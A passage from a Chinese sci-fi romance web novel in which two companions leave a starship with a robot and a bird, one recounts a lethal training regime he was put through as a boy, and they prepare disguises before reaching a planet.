王总道:“我做生意讲诚信,不会去录下和客户的通话。” 关阙微微眯起眼:“真的没有保存通话?王总再好好想想,藏着别人的秘密没关系,但要当心暴露自己的秘密。” 王总身体一僵,立即瞥向旁边的手下,又摸着自己脑袋,做出思索状:“对了,我有次保留了不到半分钟的通话记录。毕竟我们做的是提着脑袋的生意,万事总得留一手,只是自保而已。” 王总起身,去打开一旁的柜子。纪九微微探头往里看,看见里面放着厚厚一摞磁片。王总在那堆磁片里翻来翻去,查看上面的小标签,最后抽出一张,塞入柜子上方的播放器。 一阵沙沙的电流声后,播放器里传出一道男声,一听就是使用了变声器。 “……四号会有一批克矿从银辉星运往晨曦星,护送人员不多,中途会在56号空间站短暂停驻,你们可以在那时候动手……这次我的收费是一千七百万,直接打入那个账户。” 录音到此为止,正像王总所说,短短不到半分钟。 纪九立即问:“那天是什么货?” “是一个矿业公司的货,他们公司租用了银盟军56号空间站的使用权,偶尔会去那里短暂停驻。” “再没有其他录音了?”关阙问。 “没了,真没了。”王总举起手作发誓状,“他每次和我通话前,都派人暗中监视我,我能录下这么点都非常不容易。” 纪九有些失望,却还是问:“能给我复制一份吗?” 王总迟疑了两秒,又看了眼关阙:“行吧。” 两人离开王总办公室,并肩顺着通道前行。 “刚才你是抓到王总什么把柄了?”纪九低声问。 “我发现他是塔柯人。” “你怎么发现的?”纪九略有些惊讶。 两人进入电梯,关阙按下了一层键,待到电梯门合拢,才回道:“我们进入他休息室的时候,我闻到了一股弥蓝香味道,那是只有塔柯人才喜爱的香薰,也只有塔柯星才产出。你注意到他办公室里的那尊铜像雕塑没有?所戴的帽子前宽后窄,脑后插着两根羽毛,那是塔柯星咔宽族人的礼帽。” 纪九顿时了悟:“而他刚才的反应更证明了这一点。” 关阙手指轻轻敲击着大腿:“他的手下全是银辉人,都极度憎恨塔柯人,肯定都不知道他的来历,不然不会跟着他。” “这是他极力要隐瞒的事,你刚才虽然没有完全点破,但他反应很快,立即明白你已经发现了他的秘密。” 纪九的眼睛闪着亮光,但不知想到了什么,又长长叹了口气:“可惜我就算拿到了录音,也没有发现什么有用的东西。” “不着急,反正录音已经拿到手,可以慢慢研究。”关阙见电梯一直没动,又伸手去按数字键,“我们回宿舍去收拾下东西,再叫上吴思琪和雀宝,准备离开这里。” 他抬头看了眼一动不动的舰层显示屏,正要继续按数字键,被纪九伸手挡住:“没用的,别按了。” “你心眼那么多,能想到让电梯在三秒内动起来的办法吗?”纪九问。 “哦?”关阙挑了下眉,“你能想到?” 纪九眼睛看着他,却一脚踹在轿厢壁上。电梯晃了晃,开始吱嘎着下行,他一脸得意地朝关阙抬起下巴,整个人看上去既生动又鲜活。 “比我聪明,看来你的心眼也不少。”关阙微微勾起了嘴角。 第45章 两人下到底层,先去车间找机器人和鸟崽。 一群机器人正在传送皮带旁干活,个个铆足了劲,一筐筐矿石被吊走,绿灯不断闪起。 纪九一眼就看见了吴思琪,它这次没有在四号位,而是在四号位左侧的五号位,手里铁铲抡到飞起,还不时去瞧三号位的独臂机器人。 鸟崽站在它身后的一台仪器上,一下下抬起双翅再用力挥下,嘴里很有节奏地大叫:“啾啾!啾啾!啾啾!” 纪九和关阙站在它们身后,关阙问:“这是?” “比赛呗,工作上永不落后。” 关阙看向一旁的计时器:“那等等吧,还有五分钟。” 一群机器人的竞争很是激烈,鸟崽加油也很卖力。纪九背靠一座仪器,姿态闲散地站着,如果站在这儿的是其他人而不是关阙,他也要冲上去一起加油。 但现在关阙就站在身旁,他便有些放不太开,很自然地收着。 “你不去给它加油?”关阙突然问。 “啊?”纪九愣了下,接着摇头,“那多幼稚,我又不是小孩儿。” 关阙似笑非笑地看了他一眼,没有再说什么。 滴一声响,这场铲矿比赛终于结束,纪九立即站直了身体,和那些机器人一样,竖起耳朵听结果。 “五号工作点此次工作评分,A++。” 鸟崽听不懂比赛结果,只屏息凝神看着吴思琪。当看见它突然扔掉铲子,高兴地双手握拳,便也兴奋地蹦了起来,收紧双翅大叫一声:“啾!” 纪九笑着走上前,一手揽住机器人,一手去揉它的脑袋:“吴思琪,好样的!”接着抬手将鸟崽也抱在怀里,揽着机器人转身:“走,现在去收拾东西,准备乘星舰离开这儿了。” 机器人跟着走出几步后,又突然从他怀里挣出,转身走向了那名独臂机器人。 “朋友,你很有实力。”吴思琪道。 独臂机器人点点头。 “再见。” “再见。” 回到宿舍后,纪九将水壶塞进背包,对关阙道:“说是收拾行李,其实也没什么东西。最重要的暗影之牙和光明之眼,我都是让吴思琪随身带着,放在它的胸部储物箱里,比我拿着更安全。” 机器人带着鸟崽先离开,纪九挎上背包,最后检查了一遍屋内,走到门口时,才发现关阙还坐在那张小床上。 “走了。”纪九道。 关阙不应声也不动,只坐在床边看着他。 “怎么了?” 纪九刚问出口,立即就反应过来,笑到:“狐狸在的,那么珍贵的东西,放在这房间里不安全,我肯定要暂时让吴思琪收着。”接着对他勾勾手,笑道,“快快快,我们去抓吴思琪,抢回你的狐狸。” “哄小孩呢?”关阙失笑,却也站起了身。 纪九心道,可不就是哄小孩吗?但也没说出口,只等他上前后,便一起离开了宿舍。 半个小时后,跃辉号大型星舰的主舱门缓缓打开,一艘小型星舰飞出舱门,悬停在半空。轰鸣声突然加大,小型星舰启动曲率引擎进行弹射,只眨眼功夫,它便离开众人视野,消失在了太空中。 “推进速度正常,引擎运行正常。” 纪九坐在副驾驶位上,待到飞行器开始平稳飞行,这才问:“我们准备去哪儿?我要导入数据。” “你想去哪儿?”关阙问。 “我不知道。”纪九沉默了片刻后才道,“我想去一个有医院的地方。” 这话一出,两人便都有着片刻的沉默。 从关阙复活醒来,两人就一直没有提怀孕的事,关阙也对那个微凸的肚子视而不见。但现在这个问题已经摆在了面前,想再避开都不行。 关阙操纵着星舰方向,嘴里道:“有医院就有城市,而有城市的行星,塔柯星系有五颗,银辉星系有四颗。如果你不想在这两个星系停留,我们还可以去其他星系,不少流亡者已经在其他星系扎根落脚,逐渐形成了城镇和部落。” 关阙看向他:“你想去哪里,我们就去哪里。” 按照他俩之前的计划,关阙去藤谷星办事,纪九则留在空间站里等待。但现在多了这么一场曲折,纪九也只能重新想个新的去处。 他原本很不愿意去往属于塔柯星系的藤谷星,但现在觉得好像也不是那么抗拒,何况也不想耽搁关阙的行程,便道:“我和你一起去藤谷星吧。” 关阙略微有些意外,想了想后道:“如果你是因为我的原因,那没必要。我时间很充裕,把你送去你想去的地方后再去藤谷星,不会有什么问题。” 纪九原本还有些迟疑,但听关阙这样说,反而不再犹豫,果断道:“不用,就去藤谷星。” “你确定吗?不要勉强。” “我确定。”纪九转头看向屏幕,“我现在就把藤谷星的航线调出来,你按照新航线飞行。” 纪九输入航线图,关阙开始调整数据。纪九见现在没有自己的事,便解开安全带,起身去了内舱。 这艘舰虽然只是艘小型舰,但内舱空间也不小,相当于一百多平方米的套房,配套设施也很齐全。 鸟崽坐在一座宽大的真皮沙发上,面前的三维投影播放着动画片。机器人则将陈二煤他们送上星舰的大箱子拆开,将里面的物品分别放好。 纪九想去帮忙,刚走近,便听见了机器人的自言自语:“这箱是鱼,要放进冰柜,孕夫吃了最好,给孩子补脑。这种肉不错,给纪九补补身体,生孩子更轻松……” 纪九的脚步顿时停下,也不想再去帮它,只转身走向沙发。 “雀宝,挪过去点,别让爸爸一屁股坐死你。” 鸟崽这还是第一次看动画片,也不知道听见纪九的话没有,只目不转睛地盯着屏幕,动也不动。纪九干脆将它捞起来抱在怀里,自己再半躺下去。 星舰启动了自动航行,关阙也离开了操纵台,去往岛台倒水。 纪九喊住了他:“阿宝,给你看个好玩的。” 等关阙停下脚步,他举起鸟崽左右转动,鸟崽的身体便跟着他的手左右转,脑袋却始终纹丝不动地朝着前方,眼睛瞪得溜圆地盯着三维屏。 纪九问:“好玩吗?” 关阙的目光落到鸟崽身上,又缓缓移动到他的脸上,既没说好玩,也没说不好玩,只转过身,继续走向岛台。 但走出两步后,突然很轻地笑了声。 纪九将鸟崽放到自己腿上,开始给它按摩,突然又想起件事,对着关阙道:“阿宝,我要去藤谷星的话,不需要塔柯人身份芯片吗?怎么通过身份检查?” 关阙端着两杯水走了过来,将其中一杯放在纪九面前,再在茶几旁坐下,从衣兜里取出一个薄薄的小纸袋,递向了纪九。 纪九接过纸袋,打开,从里面取出了一张筘胶卡,上面还印着几行身份信息。 “塔柯人使用的不是身份芯片,而是这种卡。”关阙解释道,“你把他收好吧,这就是你的身份卡。” 姓名:刘金福 年龄:24 住址:塔柯星光辉城银座大厦 纪九仔细看着这张身份卡,在发现卡的背面还有自己的高清头像后,便面无表情地将卡放回纸袋,丢在茶几上,再抬头看向关阙。 “你连我的身份卡都做好了,居然还问我想去哪儿?”纪九啧啧两声,又捏着嗓子学关阙之前的话,“如果你是因为我的原因,那没必要。我时间很充裕,把你送去你想去的地方,我再去藤谷星,不会有什么问题。” 关阙笑了起来。 “很好笑吗?”纪九问。 关阙便又敛起神情:“不好笑。” 他见纪九瞪着自己不说话,又解释:“不管你想去哪儿,我都会送你去,不是假话。这身份卡片是我让王总做的,我俩一人一张,做你的也只是预防万一,提前做个准备而已。” 纪九也没再说什么,又将那身份卡片拿起来看。 “这个照片怎么这么丑?” “不丑。” “哪儿不丑了?就跟贼刚被抓到似的。”纪九郁闷地嘟囔,“怎么还叫刘金福,就不能改个好听的名字吗?为什么我都成了塔柯人,还是叫刘金福呢?” 关阙侧头想了想:“其实还不错。” “那你叫什么名字?把你的给我看看。” 关阙便掏出自己的身份卡递了过去。 纪九这下更加难受:“你什么要叫希桑宸,不叫刘发财或是刘来宝?” “希桑宸是最常见的一种塔柯名,在塔柯人听来,就和刘发财刘来宝差不多。”关阙道。 “真的?” “真的。” 纪九不停唉声叹气,关阙一边喝水一边看他,嘴角噙着一抹不易察觉的笑,最后站起身,问道:“晚饭你想吃什么?” 纪九倒在沙发上,仰头看着上空:“什么都可以,只要不是馒头。” 关阙盯着他看了两秒,声音里多了一分柔和:“好,我去做。” 关阙刚跨进小厨房门,便看见机器人也在厨房,正站在料理台前切菜。因为身高不够,它脚下踩了一条矮凳,腰上还系着一条围裙。 机器人听到脚步声,转过头看着关阙,问道:“是想点菜吗?” 关阙看着菜板上那一堆切得小指粗细的土豆丝,侧头想了想:“要不你去休息一下,陪纪雀看看电影?做饭的事就交给我?” “那不行,纪九需要补充营养,我要给他做一顿好吃的。”机器人拒绝,并来关厨房门,“你去陪纪雀看电影就好,专业的事请交给专业的人来做。” 被关在厨房门外的关阙只得回到沙发旁,和纪九一起陪鸟崽看动画片。 半个小时后,小厨房的门被打开,机器人推着餐车走了出来。 “舰上的食材很丰富,我按照食谱做了炖牛肉,红烧鱼,炒土豆丝,还有雀宝喜欢的手工馒头。” 机器人将餐车推到餐桌旁,将几盘黑乎乎的菜轮流摆上桌。纪九抬手摸着下巴,看看那几盘菜又看看机器人,一脸的欲言又止。 “吃吧。”机器人将筷子递给纪九,“这是我专门为你做的鱼,快五个月的胎儿神经系统正在迅速发育,你多吃点鱼,对他有好处。” “吴思琪……” “我知道我知道,不提他,我们现在不提他。”机器人敷衍地说完这句,便凑近纪九的肚子,“我们现在不提他哦,不提他这个乖乖的小宝宝哦。” 纪九:“……” 纪九在机器人的殷切注视下,硬着头皮夹起一块鱼,就要往嘴里送。 但鱼尚在半空,便被另一双筷子给凌空拦截,夹走。 “这个鱼有点凉了,我去回下锅,等会儿再吃。”关阙将那块鱼重新放回盘里,发出硬邦邦的一声响。接着将几盘菜都重新放进餐车,推向了厨房。 “他只是去回下锅。”纪九见机器人目光不善地盯着关阙的背影,便拉着它去沙发,“来,我们陪雀宝看会儿电视。” 片刻后,小厨房门被打开,关阙端着两个盘子走了出来。一盘是炒土豆丝,一盘是清蒸鱼,上层还盖着鲜翠欲滴的葱段和红椒,看着就令人食指大动。 “这是我做的菜回锅的?”机器人疑惑地问。 “对,只调了下色。” 纪九松了口气,赶紧招呼鸟崽吃饭,鸟崽却依旧一动不动,只坐在沙发上,专注地看动画片。 纪九起身走了过去,将鸟崽一把捞起,走向餐桌。 鸟崽的脑袋跟着三维屏转,直到看不见画面,才冲着纪九啾啾了两声。 “不行。”关阙端了两碗米饭走出厨房,“吃了饭再看。” “啾啾……” 纪九将鸟崽放在茶几矮桌旁,用手指弹了下它脑袋:“这才看了多久,就上瘾了?” “啾啾啾啾啾。” 关阙把之前掰好的一碗面包粒拌鱼肉放在鸟崽面前:“说了不行,必须吃完饭再看。” 鸟崽垂头丧气,开始慢吞吞地啄食面包粒。 银辉时间晚上十点,机器人已经去了墙边充电休息,沉迷于看动画片的鸟崽,也躺在沙发上沉沉睡去。 卫生间门被打开,刚洗过澡的纪九走了出来。他穿着一件深蓝色浴袍,用手指随意地抓了抓湿漉漉的头发,看见关阙站在操纵台前,便朝着那方向走去。 他想问关阙,这次为什么迟迟没有复活。之前没有细说的机会,现在鸟崽睡觉了,机器人也休息了,无人打扰,就是说点话的最好时间。 而且他还想问问,关阙为什么会有那么多的钱?! 关阙已经洗过澡,也穿着同款浴袍。纪九走到他身旁,背靠着操纵台,手指随意地点着台面。 “后天是不是就能抵达藤谷星?”纪九问。 “是的,途中会经过两个跃迁点,在后天早上7点钟到达藤谷星古费城。” 一滴水珠从纪九发梢滑落,滴在了地板上。关阙侧头看了一眼,转身走向卫生间,再出来时,手里便多了一条干毛巾。 他将毛巾罩上纪九的头,正要去揉那脑袋,纪九却很自然地抬起手按住毛巾,自己开始搓揉头发。 关阙在原地站了两秒,便回到主驾驶位,继续查看数据。 “你现在可以说说,这次为什么那么久才醒吗?”纪九低着脑袋擦头发,嘴里问道。 他原本以为关阙可能又会推却,不想他却回道:“其实序列者不止分为三阶,在中阶和高阶之间,还有一个待突破阶段。” 纪九还是第一次听见这种说法,却也没有出声询问,只停下擦头发,拿着毛巾认真地听着。 “大部分从初阶突破为中阶的序列者,就一辈子停留在这个阶段,但也有极少部分在突破成功后,精神力虽然只有中阶水平,却已经具备了高阶的某些特征。比如产生和储存精神力的意识海,扩大成了高阶状态,比如……”他说到这里后顿了顿,才接着往下说,“死亡后能够复活。” “所以说,每一个高阶序列者,都必定会经过那个待突破阶段?”纪九问。 “对。”关阙用手指拨动屏幕,嘴里继续道,“我在14岁那年,突破成了中阶,也达到了待突破阶段,就被大长老带进了暗影军团。” “大长老是谁?” “一名高阶虞人,也是暗影军团的统领。” 纪九想了想:“你们那么小就进入暗影军团了?我还从来没在战场上见过孩子序列者。” “不,只是接受军事训练。” 就算关阙这样说,纪九依旧觉得有些不可思议。毕竟他自己14岁时,还在过着上课和逃学的生活,而关阙就已经在开始进行军事训练。 纪九深知训练的艰苦,别说一名14岁少年,就算成年人都有些吃不消,便忍不住问:“你那时候还没有成年,你两位父亲舍得让你去?” 关阙调整着航行数据,嘴里淡淡道:“就在我突破成中阶,也就是达到待突破阶段的前一年,我家遭遇变故,我的所有家人都在那场变故里去世了。” 纪九顿时停下了声音,心脏像是被一只手给握住,只觉得又酸又涨。 关阙神情依旧平静,也没有详细讲述那场让他成为孤儿的变故,只继续接着刚才的话题。 “我进入了暗影军团训练营,一起训练的有十五人,年纪都和我差不多。”关阙说到这里,声音有着片刻的停顿,接着才道,“可最后真正突破成为高阶的,只有七个。” “为什么?”纪九疑惑地问。 “我们的训练非常残酷,是你无法想象的残酷。另外那八人,都是在训练中死亡,然后再也没有复活。” 纪九握紧了手里的毛巾:“可你不是说,你们待突破阶段和高阶训练者一样吗?都是死亡后能够复活。” 关阙摇摇头:“待突破阶段并不能无限次复活,也许在某一次死亡后,就再也醒不过来。” 纪九敏锐地捕捉到他这话里的另一层意思,立即追问:“你们在训练里会死亡很多次?” 关阙垂下头,双手撑在操纵台上,片刻后才回道:“是。” “多少次?”纪九哑着嗓音问。 “记不清了。” 纪九的心脏像是被重重锤击了一下,感觉到一股尖锐的刺痛。他翕动嘴唇想要说什么,但终究还是闭上了嘴,只侧过头,紧紧握住毛巾,指关节都用力得泛着白。 关阙却没注意到这些,只看着数据屏,声音平静地继续讲述:“我们把那个节点称为死亡点,我运气好,一直没有撞上。等到真正突破成为高阶就安全了,哪怕遇上那次死亡点,也只是会多耗上几天。” “所以你这一次,其实就是遇到了死亡点?”纪九问。 “应该是的。”关阙点了下头。 尽管纪九知道关阙已不会真正出事,会挺过所谓的死亡点,但还是忍不住有些后怕,后背也一阵阵发紧。 “你们暗影军团是不是有病?好好训练不行,非得把人往死里整?高阶序列者那么稀少,那个大长老舍得让你们在待突破阶段就折损掉?就算要死亡训练,他不能等你们成为高阶后才开始?” 关阙这次沉默了良久,才终于抬起头,转头看向了纪九。 “虞人虽然能力强大,却与世无争,生性软弱怯懦,不然也不会集体隐居在一颗无名行星上。大长老和其他虞人不同,他是天生的野心家。他想通过训练,让虞人摒弃掉那些无用的情感,将他们的软弱从本性里剥离,让他们化为一把锋利的刀。” 屏幕的光投进关阙眼里,给那双黑瞳染上了一抹蓝,像是在一片浓郁黑夜里添上了一份忧伤。 “要炼刀,就要从钢铁加热后开始反复锻打,才能将那些杂质减少、稀化,才能剥离那刻在基因里的恐惧和怯懦。但如果钢铁已经成为锻坯,那时候就定型了,再怎么锻打也无用。” 关阙说完这些,便没有再出声,只关掉面前的屏幕,转身走向舱房。接着打开卧室房门,咔哒一声,房门轻阖,只留下门缝处一道极细的光。 纪九则长久地站在操纵台前,看着可视窗的黑沉太空出神。 他想不出关阙曾经遭遇过什么,也不忍心去深想,但那肯定是一场伴随他整个少年期或者整个人生的噩梦。 鸟崽在睡梦中叽咕着翻身,纪九才回过神,走到沙发旁,将一条小绒毯搭在它身上。 他转身时,视线扫过茶几,看见机器人摆在上面的两只小狐狸,便伸手拿了起来。 他手指在那光滑的石面上轻轻摩挲,心里突然想,如果现在的关阙是已经经过锻造的他,那么原本的关阙又该会是什么样? 他想起关阙雕刻狐狸时的专心模样,还有那不达目的不罢休,一次次固执地将狐狸送给他的模样。 那时的关阙,有些笨拙,还有些与他的精明和深沉不太相符的天真和孩子气。 纪九将两只狐狸紧紧握住。 他觉得关阙没有被大长老用锻火完全熔掉,而自己可能窥见了一抹他原本的影子。 纪九心情复杂地走向卧室,直到快到门口,才猛地回过神,接着一拍脑门。 最重要的事情居然忘记了!没有问他为什么那么多钱! 第46章 暗无天日的地下训练场,四处都是野兽的低吼,地面上溅着深黑色血渍。几名少年赤着上身,手握匕首,正在和一群饥饿凶狠的野兽对峙。 “关阙,我快撑不下去了,希望我这次死了后,就不要再复活了。”一名瘦弱的少年喘着气,胸膛上有一道深而长的爪痕。 他身后是一名身形高瘦的少年,虽然满脸血污,但也能看出英俊的五官轮廓。 他的状态不比瘦弱少年强,单薄的左肩已被野兽生生撕咬掉了一块血肉,伤口深可见骨。 他咬着牙,神情凶狠地盯着前方,嘴里道:“坚持下去,很快就会好的。” “可是这样的日子,我一天也撑不下去了……”瘦弱少年边说边哭,“我好痛,我想回家……” 其他几名少年也发着抖,流着泪,手里的匕首都有些握不住。 “都别哭。”关阙低声喝道,“这训练场里到处都是摄像头,大长老正看着我们。你们想要离开这儿,那就别哭,再害怕也忍着,不能让他看出来!” 兽群能感知到高阶生物带来的压制,虽然躁动狂乱,却也不敢上前。但场地边缘突然响起尖锐刺耳的哨声,少年们听见这声音,顿时如临大敌,还在哭的也举起了匕首。而那些野兽被哨声刺激得凶性大发,不管不顾地扑了上来。 关阙机械地挥动匕首,耳里只听见野兽的嘶吼和同伴的惨叫,眼前也只有一片血红。 当尖牙刺入他的喉咙,胸膛被利爪刺破时,他竟然在那剧痛中感到了轻松,脑中浮起和那名少年一样的感受,希望我这次死了,就不要再复活了…… 纪九今晚一直想着关阙说的那些话,翻来覆去很久才睡着,睡得也不是很安稳。当他听见关阙发出的呓语后,立即就惊醒过来,转头往对面床上看去。 昏暗夜灯下,关阙紧闭着眼,却像是陷入了挣扎不出的梦魇,牙关紧咬,身体剧烈地发着抖,满脸都是冷汗。 “阿宝,阿宝。” 他喊了两声,关阙却没有醒,喉咙里还发出痛苦的呜鸣。 纪九连忙掀开被子起身,走到关阙的床边,握住他的肩膀大力摇晃:“阿宝,你醒醒,阿宝。” 关阙猛地睁开眼,那眼底尽是凶戾,看向纪九的眼眸冰冷残酷,像是一头处于暴怒中的野兽。纪九对上他这样的目光,后背顿时发紧,整个人瞬间绷紧。 关阙突然伸手,动作迅捷地扼向纪九的喉咙。纪九原本就已经处于高度戒备中,反应极快地仰起身,并厉声喝道:“关阙!” 听到声音,关阙伸在半空的手停下,却死死盯着纪九,像是在辨认眼前的人。 纪九知道序列者的攻击速度,提防他还要继续动手,连接后退好几步,同时喊道:“关阙!阿怪!” 关阙粗重的呼吸渐渐平息,眼睛也逐渐变得清明。纪九感觉到他身上的攻击性在消退,这才缓缓松了口气。 关阙慢慢垂下头,哑着嗓音道:“抱歉,刚才有些不清醒。” 纪九走到墙边,将屋内的灯调亮了些,问道:“做恶梦了?” “嗯。”关阙轻声回应。 纪九见他满脸是汗,头发也如同淋过水一般,便道:“你去洗个澡吧,换件衣服。” “好。”关阙顺从地道。 关阙很快便洗完澡,并换了一件干净浴袍走出卫生间。纪九靠坐在床头,看着他用毛巾擦干头发,再回到自己床边坐下。 纪九没有问他刚才做了什么梦,只问:“睡觉要把灯调暗吗?” “调暗吧。” “你不怕黑?” 关阙现在已经平复下情绪,低声问:“你怕黑?” “我怎么会怕黑?这不是担心你吗?”纪九伸手调暗了灯,拿掉身后的枕头躺了下去,“那睡觉吧。” 关阙跟着躺下,屋内响起一阵窸窸窣窣的布料摩擦声,接着归于平静,小小空间里只听见两人的呼吸。 但片刻后,纪九却又突然出声:“我父母去世后,我哥经常出任务,我一个人住在家里,半夜也会做恶梦。我那时候就会起床,把家里所有的灯都打开,还会自己给自己唱歌,哄着自己睡觉。” 纪九说完后,短促地笑了一声,关阙闭着眼睛问:“是什么歌?” “就是我还很小的时候,我妈哄我睡觉时唱的一首童谣。” “唱来听听?”关阙问。 “那多别扭。”纪九笑着摇头,“唱不出口。不过那首歌真的很好听。”接着又问关阙,“你真的很想听吗?” 关阙睫毛颤了颤,回道:“很想听。” “行吧,既然你强烈要求,那我就唱唱。”纪九清清嗓子,“不要笑哦。” “不会。” 屋内沉寂两秒后,纪九的歌声轻轻响起:“月儿弯弯,照在海面,灯火点点,是渔人的归船……” 他声线清朗,这样低吟浅唱时,却带着沙沙的尾音,听上去别有一番味道,也让关阙不觉就沉入他的歌声里。 “月儿弯弯,照在沙滩——” 关阙正闭眼认真听着,那歌声却倏地中断。他睁开眼侧过头,看见纪九正支起上半身,探着脑袋在看他。 “怎么不唱了?”关阙问。 纪九认真地端详他:“我看你在笑话我没有。” 关阙愣了下:“我没笑。” “嗯,看见了。”纪九躺了下去,问道,“那还要听吗?” “要听的。” 纪九便又重新开始唱:“月儿弯弯,照在沙滩,星光闪闪,是你的双眼……” 关阙这次没有闭眼,只盯着上方天花板,想起他偷看自己有没有在笑的那副模样,忍不住露出了一个微笑。 “月儿弯弯,照在海面——” 直到纪九的歌声再次消失,他转过头,对上纪九冰冷的视线,脸上的笑意才慢慢敛起。 “我唱得很好笑吗?”纪九问道。 “我没笑的。” “你真的是没品味。”纪九抿了抿唇,有些恼怒地道,“我们军营里举办活动,我唱歌都要拿奖的,人家叫我军营百灵鸟……你现在又在笑什么?” “我没有。” “我看见你笑了!” “那只是下意识的面部肌肉抽搐。” 待到两人的小声争论结束,纪九也没了唱歌的兴致。 “睡觉。”他扯过被子盖住了头。 关阙看着那个鼓鼓的被子包,语带笑意地道:“好,睡觉。” 屋内再次恢复安静,这次纪九很快便沉沉睡去,关阙听着他平稳绵长的呼吸声,脑中始终盘桓着那段歌声,也在那片海滩和星光里进入了睡眠。 纪九这一觉睡得又香又沉,再醒来时,发现卧室内已经没了人,但内舱客厅传来机器人和关阙的对话声,还夹杂着鸟崽的啾啾。 他起身下床,觉得下巴有些痒,走到镜子前,发现那里果然冒出了一颗痘,米粒大小,不太明显。 他没有管那颗痘,只趿拉着拖鞋走出房门,一眼便看见站在舰厅中央的关阙,还有他手里的那喷枪。 而他面前的地板上,摆着一只工具箱,里面放着各式颜色的漆罐,机器人正蹲在地上挑挑选选。 “这是在做什么?要给舰壁换颜色吗?”纪九打着呵欠走向洗手间。 关阙从纪九走出门的瞬间,便转头看着他,目光落在他头顶那两撮翘起的头发上。 “我要换皮肤了。”机器人有些兴奋地道。 “换皮肤?” 关阙收回视线,解释道:“我们这是要去藤谷星,普通人看不出来什么,但军队可能会认出它是银盟军军用机器人,所以想给它弄一层伪装。” “是哦,琪宝的肘关节那里还有军队编号,是要乔装打扮一下才行。” 机器人打量着喷漆箱里的各色喷漆,喜滋滋地道:“我也想换个皮肤,可是这么多颜色,我有些选不出来。” 关阙道:“那你慢慢选,选好了我们就开工。” 纪九去了卫生间洗漱,叼着牙刷往外看,看见机器人还蹲在工具箱前,鸟崽也在旁边帮着挑选,关阙则去岛台烧水。 二十分钟后。 纪九坐在餐桌旁,接过关阙递来的面包,张大嘴咬了一口。 “唔,花生酱?不错。雀宝,好吃吗?” “啾啾。” “吴思琪,选好了没有?” “纪九,你觉得湛蓝色皮肤好看点,还是海蓝色皮肤好看点?”机器人朝他举起了色卡板。 纪九瞪大眼睛仔细看:“这颜色不一样吗?” “肯定不一样啊。” “哦,有个稍微深点。” “那你觉得哪个好看?” 纪九嚼着面包:“我觉得黑色和深灰色好看,关键不容易脏。” “我就知道不能问你。”机器人放下色卡板,“我还是自己选吧。” 四十分钟后。 关阙坐在沙发上,纪九跨坐在他面前的一把椅子上,身旁摆着一个化妆箱,里面放着十来个瓶瓶罐罐。 “明天我们就要到达藤谷星了。虽然这里不会有人认识我,但我的脸进入了塔柯军系统,还是要做一下面部伪装。”关阙见纪九还在打量那化妆箱,解释道,“昨天还没离开跃辉号之前,我找王总要的,这些都是星盗的必备工具。” “我虽然学过伪装课,但还从来没用上过一次,今天就拿你练手了。” 纪九搓搓手,戴上手套,开始对照关阙的皮肤,在那些易容材料里挑选合适的颜色。 “雀宝,你看他们俩都在换色,等会儿我俩也搞一个?” “啾啾。”鸟崽站在机器人身旁,用翅膀指着某种颜色,“啾?” “大红色太张扬,我性格沉静内敛,不太适合。”机器人道。 纪九拿起一管材料,举在关阙脸侧,目光在管身色卡和那片皮肤之间来回移动。关阙则一动不动地坐着,视线一直落在纪九脸上。 纪九的皮肤偏白,在星舰的仿恒星光照下,透着健康的光泽。鼻梁高挺,双眼皮宽而深,修长的眉毛,恰到好处地弯拱在眼眸之上。 “14号吧?14号和你的皮肤颜色差不多。哎?15号更像。不对不对,这个8号也很像。怎么回事?这些材料好像都一个色?” 他有些烦恼地皱起眉,再转过头,向机器人求助:“琪宝。” 还在挑选喷漆颜色的机器人走了过来,只飞快地扫了一眼:“9号加12号,按照3比1的剂量调制,和他的皮肤颜色最为接近。” 机器人说完便转身走了回去,在那堆喷漆前蹲下:“我到底是适合霁青呢?还是适合茶青?” 选好色,按照比例调制好,灌入旁边的面具制作器,纪九便伸手抬起关阙的下巴仔细打量。 “你想改成什么模样?” 关阙眼睛看着他,只伸手将自己的身份卡放在茶几上。 纪九拿起身份卡,这才发现昨天看时没有注意,这样仔细一瞧,那照片和关阙本人虽然相似,却也有一些细微的改变。 “假照片?” “对,就按照这个做。” 纪九便拿着那张身份卡,反复对照关阙本人和照片的区别。 “你的鼻梁很高,需要扩大鼻翼。你的眉峰有些锋利,可以调柔和一点。你的眉骨轮廓很深,得将它弱化一些……” 纪九说话时,刻意去忽略关阙落在他脸上的那两道目光。但越是这样,那视线的存在感越强,明目张胆,肆无忌惮,看似冷静无波,却带着极强的杀伤力,让他差点就维持不住镇定的表象。 他又想到了自己下巴上的那颗痘。 他原本没将那颗痘放在心上,但此时在关阙的近距离注视下,那只有半颗米粒大小的痘,在他心里已经成为了花生大小的瘊子,且鲜艳透亮,无比夺目地放着光。 “是我在给你做面具,又不是你在给我做,你一直盯着我做什么?”纪九依旧在端详关阙的脸,嘴里低声道。 “可是我现在只能看着你。”关阙的声音里带着一些无辜。 “那你别看我眼睛,看下面一点。” 纪九不想和他对视上,那只能让他越来越心慌。 关阙便盯着纪九下巴,看上面那个可爱的小痘,像是白皙皮肤上的一点朱砂痣,羽晶花瓣上的一星红蕊尖。 纪九却突然放下身份卡,有些短促地说了声耽搁两分钟,就转身走向了卫生间。 他关上卫生间的门,打开镜前灯,昂起下巴,将悄悄沾在指头上的一小点仿真材料盖在了那颗痘上。 他左右看看,直到再也看不出那颗痘的痕迹,这才开门走了出去。 “来,继续,先记录鼻翼数据。”纪九托起关阙的下巴,拿起记录仪,先记录下他的脸部数据,再将数据进行微调。 关阙继续盯着他的下巴,看见那颗小痘突然消失也没有出声,只很轻地勾了下嘴角。 咔嚓,咔嚓,记录仪发出轻响,纪九的神情也很认真,操作有条不紊。 但只有他自己知道,这过程里失误了好几次,不得不又重新开始。 好不容易记录下关阙面部的上半部数据,记录仪挪动到关阙的唇。 他为了方便操作,将椅子往前挪了点。 “张嘴。” 关阙张开了嘴。 咔嚓,咔嚓。 纪九的手指碰到了关阙唇瓣,随即又飞快地挪走。 “你别看着我。”纪九一只手托起他的下巴,另一只手上的仪器还在不断记录,“当心我按错了键,把你嘴巴扎个洞。” 关阙微昂着头没有说话,视线依旧透过那微阖的眼帘看着他。 “闭上嘴,自然闭合。”纪九又道,“你的眼睛已经记录好了,不用再睁着,现在也闭上。” 关阙微微弯了下眼,却也顺从地闭上了。 唇部记录完毕,纪九开始记录关阙的下巴。 他不自觉地俯低了头,也凑得很近,记录仪上不断跳出新的数据。 关阙却在这时睁开了眼,垂眸看着他头顶那翘起的两撮头发,就像刚才看那一颗小痘。 翘起的头发,下巴上的小痘,这些应该都是纪九不喜欢,并想遮盖的。但他根本不知道,这些东西生在他身上,是有多么的可爱。 